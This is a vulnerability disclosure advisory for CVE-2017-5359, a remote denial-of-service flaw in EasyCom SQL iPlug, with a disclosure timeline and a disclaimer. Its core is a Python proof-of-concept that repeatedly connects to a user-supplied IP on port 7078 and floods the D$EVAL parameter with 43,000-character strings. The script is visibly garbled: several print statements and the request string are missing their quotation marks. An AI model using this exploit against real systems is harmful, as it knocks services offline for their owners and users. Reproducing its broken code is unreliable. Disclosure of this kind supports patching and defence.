EasyCom SQL iPlug Denial Of Service

[+] Credits: John Page AKA Hyp3rlinX	
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/EASYCOM-SQL-IPLUG-DENIAL-OF-SERVICE.txt
[+] ISR: ApparitionSec


Vendor:
================
easycom-aura.com



Product:
===========
SQL iPlug
EasycomPHP_4.0029.iC8im2.exe

SQL iPlug provides System i applications real-time access to heterogeneous and external databases
(Oracle, SQL Server, MySQL, MS Access, Sybase, Progress) in a completely transparent manner and without requiring replication.



Vulnerability Type:
===================
Denial Of Service



CVE Reference:
==============
CVE-2017-5359



Security Issue:
================
SQL iPlug listens on port 7078 by default, it suffers from denial of service when sending overly long string via
HTTP requests fed to the "D$EVAL" parameter.



Exploit/POC:
============

import socket

print EasyCom SQL-IPLUG DOS 0day!
print hyp3rlinx

IP = raw_input("[IP]> ")
PORT = 7078 
payload="A"*43000
 
arr=[]
c=0
while 1:
    try:
        arr.append(socket.create_connection((IP,PORT)))
        arr[c].send(GET /?D$EVAL=+payload+" HTTP/1.1

")
        c+=1
        print "doit!"
    except socket.error:
        print "[*] 5th ave 12:00"
        raw_input()
        break




Disclosure Timeline:
======================================
Vendor Notification: December 22, 2016
Vendor acknowledgement: December 23, 2016
Vendor Release Fix/Version February 20, 2017
February 22, 2017 : Public Disclosure




Network Access:
===============
Remote



Severity:
===========
Medium




[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. 

hyp3rlinx